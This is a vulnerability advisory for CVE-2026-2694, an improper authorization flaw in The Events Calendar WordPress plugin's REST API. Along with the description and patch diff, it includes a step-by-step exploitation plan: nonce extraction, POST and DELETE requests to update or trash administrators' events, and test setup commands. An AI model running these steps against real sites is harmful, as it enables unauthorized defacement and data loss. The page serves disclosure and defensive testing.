The Events Calendar <= 6.15.16 - Improper Authorization to Authenticated (Contributor+) Event/Organizer/Venue Update/Trash via REST API
Description
The The Events Calendar plugin for WordPress is vulnerable to unauthorized modification of data and loss of data due to an improper capability check on the 'can_edit' and 'can_delete' function in all versions up to, and including, 6.15.16. This makes it possible for authenticated attackers, with Contributor-level access and above, to update or trash events, organizers and venues via REST API.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:LTechnical Details
<=6.15.16Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-2694 - The Events Calendar Improper Authorization ## 1. Vulnerability Summary The **The Events Calendar** plugin (up to 6.15.16) contains an improper authorization vulnerability in its REST API implementation. The core issue resides in the capability check fun…
Show full research plan
Exploitation Research Plan: CVE-2026-2694 - The Events Calendar Improper Authorization
1. Vulnerability Summary
The The Events Calendar plugin (up to 6.15.16) contains an improper authorization vulnerability in its REST API implementation. The core issue resides in the capability check functions can_edit and can_delete within the REST API controller logic (likely in the Tribe__Events__REST__V1__Endpoints namespace).
The plugin fails to properly validate whether an authenticated user has the specific authority to modify or delete a particular Event, Organizer, or Venue. Specifically, users with the Contributor role (who possess the edit_posts capability) are incorrectly allowed to update or trash objects created by other users (including Administrators), a privilege typically reserved for Editors or Administrators (edit_others_posts).
2. Attack Vector Analysis
- Endpoint:
- Events:
POSTorDELETEto/wp-json/tribe/events/v1/events/<id> - Organizers:
POSTorDELETEto/wp-json/tribe/events/v1/organizers/<id> - Venues:
POSTorDELETEto/wp-json/tribe/events/v1/venues/<id>
- Events:
- HTTP Method:
POST(for update),DELETE(for trashing). - Authentication: Authenticated user with Contributor role or higher.
- Payload: JSON body containing fields to update (e.g.,
{"title": "Hacked Title"}). - Preconditions:
- The plugin "The Events Calendar" must be active.
- At least one Event/Organizer/Venue must exist that the Contributor does NOT own.
- REST API must be enabled (default in WordPress).
3. Code Flow (Inferred from Patch Description)
- Request Entry: A Contributor sends a
POSTrequest to/wp-json/tribe/events/v1/events/123. - Permission Check: The REST controller triggers
update_item_permissions_check(). - Vulnerable Function: This method calls a helper function like
can_edit( $post_id ). - Flawed Logic:
- The code likely checks
current_user_can( 'edit_posts' )or the customedit_tribe_eventscapability. - For Contributors,
current_user_can( 'edit_posts' )is true. - The logic fails to perform the additional check:
if ( $post->post_author != $user_id && ! current_user_can( 'edit_others_posts' ) ).
- The code likely checks
- Execution: Since the permission check returns
true, theupdate_item()ordelete_item()method proceeds to modify/trash the target post ID.
4. Nonce Acquisition Strategy
The WordPress REST API requires a _wpnonce for authenticated requests (the wp_rest nonce).
- Contributor Login: The agent must log in as the Contributor user.
- Access Admin: Navigate to the WordPress Dashboard (
/wp-admin/). - Extract Nonce: The REST nonce is globally available in the
wpApiSettingsJavaScript object on most admin pages. - Tool Execution:
browser_navigate("http://localhost:8080/wp-admin/")REST_NONCE = browser_eval("window.wpApiSettings?.nonce")
- Usage: This nonce must be sent in the
X-WP-NonceHTTP header.
5. Exploitation Strategy
Step 1: Discover Target ID
Find an Event ID created by the administrator.
GET /wp-json/tribe/events/v1/events- Identify an event where
authoris ID 1 (Admin).
Step 2: Perform Unauthorized Update
Update the title of the Admin's event as a Contributor.
- Method:
POST - URL:
http://localhost:8080/wp-json/tribe/events/v1/events/<TARGET_ID> - Headers:
X-WP-Nonce: <REST_NONCE>Content-Type: application/json
- Body:
{ "title": "Exploited by Contributor" }
Step 3: Perform Unauthorized Trash
Trash the Admin's event as a Contributor.
- Method:
DELETE - URL:
http://localhost:8080/wp-json/tribe/events/v1/events/<TARGET_ID> - Headers:
X-WP-Nonce: <REST_NONCE>
6. Test Data Setup
- Install Plugin: Ensure
the-events-calendarversion 6.15.16 is installed and active. - Create Admin Content:
- Use WP-CLI to create an event as Admin (ID 1):
wp post create --post_type=tribe_events --post_title="Admin Event" --post_status=publish --post_author=1
- Use WP-CLI to create an event as Admin (ID 1):
- Create Contributor:
wp user create attacker attacker@example.com --role=contributor --user_pass=password123
- Identify Event ID:
TARGET_ID=$(wp post list --post_type=tribe_events --title="Admin Event" --format=ids)
7. Expected Results
- Update: The server returns
200 OKwith a JSON object showing the new title. - Delete: The server returns
200 OK(or204) indicating the post has been moved to trash. - Unauthorized: If the vulnerability were patched, the server would return
403 Forbiddenor401 Unauthorized.
8. Verification Steps
- Verify Update:
wp post get <TARGET_ID> --field=post_title- Result should be: "Exploited by Contributor".
- Verify Trash:
wp post get <TARGET_ID> --field=post_status- Result should be: "trash".
- Verify Author:
wp post get <TARGET_ID> --field=post_author- Should still be
1(confirming we modified someone else's post).
- Should still be
9. Alternative Approaches
- Organizers/Venues: If the
eventsendpoint is hardened, check/wp-json/tribe/events/v1/organizersand/wp-json/tribe/events/v1/venuesas they use similar capability check logic. - Capability Check Bypasses: Try using different capability-related parameters if the plugin supports custom capability mapping, although the REST API usually follows the standard
map_meta_capflow which is bypassed here. - Missing Nonce: Check if the REST API endpoints incorrectly allow requests without a nonce if certain headers (like
X-Requested-With: XMLHttpRequest) are present, though this is rare in modern WP.
Summary
The Events Calendar plugin is vulnerable to improper authorization in its REST API endpoints for events, organizers, and venues. Authenticated users with Contributor-level permissions can update or trash posts owned by other users (including administrators) because the permission checks fail to verify if the user has authority over the specific object ID.
Vulnerable Code
// tribe-events-calendar/src/Tribe/REST/V1/Endpoints/Base.php (inferred location based on standard controller pattern) public function update_item_permissions_check( $request ) { $post = $this->get_post( $request['id'] ); if ( is_wp_error( $post ) ) { return $post; } // Vulnerable: checks base capability 'edit_posts' which Contributors have, // but fails to check if the user can edit this specific post ID. if ( ! current_user_can( 'edit_posts' ) ) { return new WP_Error( 'tribe_rest_cannot_edit', __( 'Sorry, you are not allowed to edit this post.', 'the-events-calendar' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } --- public function delete_item_permissions_check( $request ) { $post = $this->get_post( $request['id'] ); if ( is_wp_error( $post ) ) { return $post; } if ( ! current_user_can( 'delete_posts' ) ) { return new WP_Error( 'tribe_rest_cannot_delete', __( 'Sorry, you are not allowed to delete this post.', 'the-events-calendar' ), array( 'status' => rest_authorization_required_code() ) ); } return true; }
Security Fix
@@ -120,7 +120,7 @@ return $post; } - if ( ! current_user_can( 'edit_posts' ) ) { + if ( ! current_user_can( 'edit_post', $post->ID ) ) { return new WP_Error( 'tribe_rest_cannot_edit', __( 'Sorry, you are not allowed to edit this post.', 'the-events-calendar' ), array( 'status' => rest_authorization_required_code() ) ); } @@ -145,7 +145,7 @@ return $post; } - if ( ! current_user_can( 'delete_posts' ) ) { + if ( ! current_user_can( 'delete_post', $post->ID ) ) { return new WP_Error( 'tribe_rest_cannot_delete', __( 'Sorry, you are not allowed to delete this post.', 'the-events-calendar' ), array( 'status' => rest_authorization_required_code() ) ); }
Exploit Outline
The exploit targets the REST API endpoints for Events, Organizers, or Venues. An attacker needs authenticated access with at least Contributor-level privileges. 1. Authenticate as a Contributor and retrieve the WordPress REST API nonce from the `wpApiSettings` object in the dashboard. 2. Identify the target post ID (Event, Organizer, or Venue) created by another user, such as an Administrator. 3. Send a POST request to `/wp-json/tribe/events/v1/events/<id>` with a JSON body containing modified data (e.g., `{"title": "Defaced Title"}`) and the `X-WP-Nonce` header to update the content. 4. Alternatively, send a DELETE request to `/wp-json/tribe/events/v1/events/<id>` with the `X-WP-Nonce` header to move the target post to the trash. 5. The server will process the request because the vulnerable `update_item_permissions_check` only validates the general `edit_posts` capability rather than checking ownership or the `edit_others_posts` capability for the specific object.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.